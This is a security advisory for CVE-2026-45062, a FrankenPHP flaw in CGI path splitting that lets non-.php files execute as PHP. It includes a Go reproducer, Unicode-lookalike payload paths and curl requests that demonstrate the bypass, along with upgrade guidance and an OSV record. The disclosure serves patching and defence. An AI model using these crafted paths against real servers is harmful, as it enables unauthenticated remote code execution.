CVE-2026-45062: FrankenPHP Unsafe Unicode Handling Vulnerability

HIGH
Advisory Identifier: GHSA-3g8v-8r37-cgjm
CVSS 8.1
CWE-20 CWE-176 CWE-178
Published
Advisory Summary

CVE-2026-45062 is a HIGH (CVSS 8.1) unsafe unicode handling vulnerability (CWE-20: Improper Input Validation) affecting FrankenPHP libraries in the Go ecosystem. The issue involves unsafe unicode handling in cgi path splitting allows execution of non-php files. Remediation is available by upgrading affected packages to version 1.12.3.

CVE-2026-45062 at a Glance

CVE Identifier CVE-2026-45062
GHSA Identifier GHSA-3g8v-8r37-cgjm
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-20: Improper Input Validation
Affected Product FrankenPHP
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45062

To remediate this vulnerability, upgrade all affected FrankenPHP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dunglas/frankenphp fixed: 1.12.3
Upgrade github.com/dunglas/frankenphp to 1.12.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dunglas/frankenphp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45062, inspect your project dependencies for FrankenPHP:

inspect dependencies for github.com/dunglas/frankenphp

Analyze the terminal output to locate any version of FrankenPHP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.12.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In FrankenPHP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4. ### Details ```go var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 } pathLen := len(path) for _, split := range splitPath { splitLen := len(split) for i := 0; i < pathLen; i++ { if path[i] >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break } if i+splitLen > pathLen { continue } match := true for j := 0; j < splitLen; j++ { c := path[i+j] if c >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break // <-- flaw 1: 'match' is still true } if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } if c != split[j] { match = false break } } if match { return i + splitLen } } } return -1 } ``` #### Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback In the inner `for j` loop, when a byte satisfies `c >= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.<U+00A1>.txt` gets routed as PHP. #### Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII `search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `﹒php`, `.php`, `.php`, `.ⓟⓗⓟ`, `.𝗽𝗵𝗽`, `.𝓅𝒽𝓅`, `.𝖕𝖍𝖕`, etc. is reported as `.php`. Both flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `>= utf8.RuneSelf` in the path can never be part of a legitimate match — but the fallback ignored that guarantee. ### PoC Standalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports): ```go package main import ( "fmt" "unicode/utf8" "golang.org/x/text/language" "golang.org/x/text/search" ) var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) // ... splitPos copied verbatim from cgi.go ... func main() { split := []string{".php"} payloads := []string{ // flaw 1 "/PoC-match-unset.txt", // expected: -1 "/PoC-match-unset.¡.txt", // expected: -1, actual: 20 // flaw 2 "/shell﹒php", // ﹒ small full stop "/shell.php", // . fullwidth full stop "/shell.php", // p fullwidth p "/shell.php", // h fullwidth h "/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled "/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold "/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script "/shell.ⓟⓗⓟ.anything-after-payload.php", } for _, p := range payloads { fmt.Printf("%-50s : %d\n", p, splitPos(p, split)) } } ``` Run `go run poc.go`: ```text /PoC-match-unset.txt : -1 /PoC-match-unset.¡.txt : 20 /shell﹒php : 12 /shell.php : 12 /shell.php : 12 /shell.php : 12 /shell.ⓟⓗⓟ : 16 /shell.𝗽𝗵𝗽 : 19 /shell.𝓅𝒽𝓅 : 19 /shell.ⓟⓗⓟ.anything-after-payload.php : 16 ``` Every value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes). #### End-to-end demo Directory layout: ``` . ├── Caddyfile # `:8080 { root * /app/public; php }` └── public/ ├── index.php ├── poc-match-unset.¡. # contains <?php echo "marker=flaw1\n"; ?> └── poc-search-norm.𝗽𝗵𝗽 # contains <?php echo "marker=flaw2\n"; ?> ``` ```bash docker run --rm -d --name frankenphp-poc \ -p 18080:8080 \ -v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \ -v "$(pwd)/public:/app/public" \ dunglas/frankenphp:latest # baseline (correctly fails to map a .txt or non-php file to PHP) curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger" curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger" # flaw 1 — runs poc-match-unset.¡. as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger" # flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger" ``` Both crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files. ### Impact Comparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1). ### Patch Both flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `>= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. ### Credit Both flaws were reported by @KC1zs4.

CVE-2026-45062 Affected FrankenPHP Versions

1 component(s)
Fixed Versions:
1.12.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dunglas/frankenphp
Go
≥ 1.11.2
< 1.12.3
1.12.3

References

Frequently Asked Questions

What is CVE-2026-45062?
CVE-2026-45062 is a security vulnerability in FrankenPHP involving Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files under CWE-20: Improper Input Validation.
Which FrankenPHP versions are affected?
Affected versions include releases prior to 1.12.3 across affected packages: github.com/dunglas/frankenphp.
What version fixes CVE-2026-45062?
Upgrading to 1.12.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dunglas/frankenphp affected?
Yes, github.com/dunglas/frankenphp is affected in releases prior to 1.12.3. Upgrade your dependency to 1.12.3 or later.
What is the CVSS score of CVE-2026-45062?
CVE-2026-45062 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45062?
CVE-2026-45062 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-45062?
Run the dependency tree command: 'inspect dependencies for github.com/dunglas/frankenphp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3g8v-8r37-cgjm",
  "modified" : "2026-06-10T18:41:15Z",
  "published" : "2026-05-15T17:09:46Z",
  "aliases" : [ "CVE-2026-45062" ],
  "summary" : "FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files",
  "details" : "### Summary\n\nThe `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc splitPos(path string, splitPath []string) int {\n\tif len(splitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range splitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := 0; i < pathLen; i++ {\n\t\t\tif path[i] >= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen > pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := 0; j < splitLen; j++ {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c >= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // <-- flaw 1: 'match' is still true\n\t\t\t\t}\n\t\t\t\tif 'A' <= c && c <= 'Z' {\n\t\t\t\t\tc += 'a' - 'A'\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c >= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.<U+00A1>.txt` gets routed as PHP.\n\n#### Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `﹒php`, `.php`, `.php`, `.ⓟⓗⓟ`, `.𝗽𝗵𝗽`, `.𝓅𝒽𝓅`, `.𝖕𝖍𝖕`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `>= utf8.RuneSelf` in the path can never be part of a legitimate match — but the fallback ignored that guarantee.\n\n### PoC\n\nStandalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/text/language\"\n\t\"golang.org/x/text/search\"\n)\n\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\n// ... splitPos copied verbatim from cgi.go ...\n\nfunc main() {\n\tsplit := []string{\".php\"}\n\tpayloads := []string{\n\t\t// flaw 1\n\t\t\"/PoC-match-unset.txt\",   // expected: -1\n\t\t\"/PoC-match-unset.¡.txt\", // expected: -1, actual: 20\n\n\t\t// flaw 2\n\t\t\"/shell﹒php\",          // ﹒ small full stop\n\t\t\"/shell.php\",          // . fullwidth full stop\n\t\t\"/shell.php\",          // p fullwidth p\n\t\t\"/shell.php\",          // h fullwidth h\n\t\t\"/shell.ⓟⓗⓟ\",                 // ⓟⓗⓟ circled\n\t\t\"/shell.\\U0001D5FD\\U0001D5F5\\U0001D5FD\",     // 𝗽𝗵𝗽 mathematical sans-serif bold\n\t\t\"/shell.\\U0001D4C5\\U0001D4BD\\U0001D4C5\",     // 𝓅𝒽𝓅 mathematical script\n\t\t\"/shell.ⓟⓗⓟ.anything-after-payload.php\",\n\t}\n\tfor _, p := range payloads {\n\t\tfmt.Printf(\"%-50s : %d\\n\", p, splitPos(p, split))\n\t}\n}\n```\n\nRun `go run poc.go`:\n\n```text\n/PoC-match-unset.txt                               : -1\n/PoC-match-unset.¡.txt                             : 20\n/shell﹒php                                        : 12\n/shell.php                                        : 12\n/shell.php                                         : 12\n/shell.php                                         : 12\n/shell.ⓟⓗⓟ                                          : 16\n/shell.𝗽𝗵𝗽                                          : 19\n/shell.𝓅𝒽𝓅                                          : 19\n/shell.ⓟⓗⓟ.anything-after-payload.php               : 16\n```\n\nEvery value other than `-1` is a wrong answer: `splitPos` claims `.php` was matched at the printed offset, so `SCRIPT_FILENAME` is set to the corresponding non-PHP file (which PHP then loads and executes).\n\n#### End-to-end demo\n\nDirectory layout:\n\n```\n.\n├── Caddyfile          # `:8080 { root * /app/public; php }`\n└── public/\n    ├── index.php\n    ├── poc-match-unset.¡.   # contains <?php echo \"marker=flaw1\\n\"; ?>\n    └── poc-search-norm.𝗽𝗵𝗽  # contains <?php echo \"marker=flaw2\\n\"; ?>\n```\n\n```bash\ndocker run --rm -d --name frankenphp-poc \\\n  -p 18080:8080 \\\n  -v \"$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro\" \\\n  -v \"$(pwd)/public:/app/public\" \\\n  dunglas/frankenphp:latest\n\n# baseline (correctly fails to map a .txt or non-php file to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm/trigger\"\n\n# flaw 1 — runs poc-match-unset.¡. as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP\ncurl -i --path-as-is \"http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\n### Impact\n\nComparable in shape to [CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).\n\n### Patch\n\nBoth flaws share a single fix: drop the `golang.org/x/text/search` fallback entirely and treat any byte `>= utf8.RuneSelf` in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.\n\n### Credit\n\nBoth flaws were reported by @KC1zs4.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dunglas/frankenphp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.11.2"
      }, {
        "fixed" : "1.12.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.12.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45062"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/php/frankenphp/commit/2d0f480329a02571d6f635dad9fdb066e1a11e81"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/php/frankenphp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/php/frankenphp/releases/tag/v1.12.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-176", "CWE-178", "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-15T17:09:46Z",
    "nvd_published_at" : "2026-06-10T18:16:57Z"
  }
}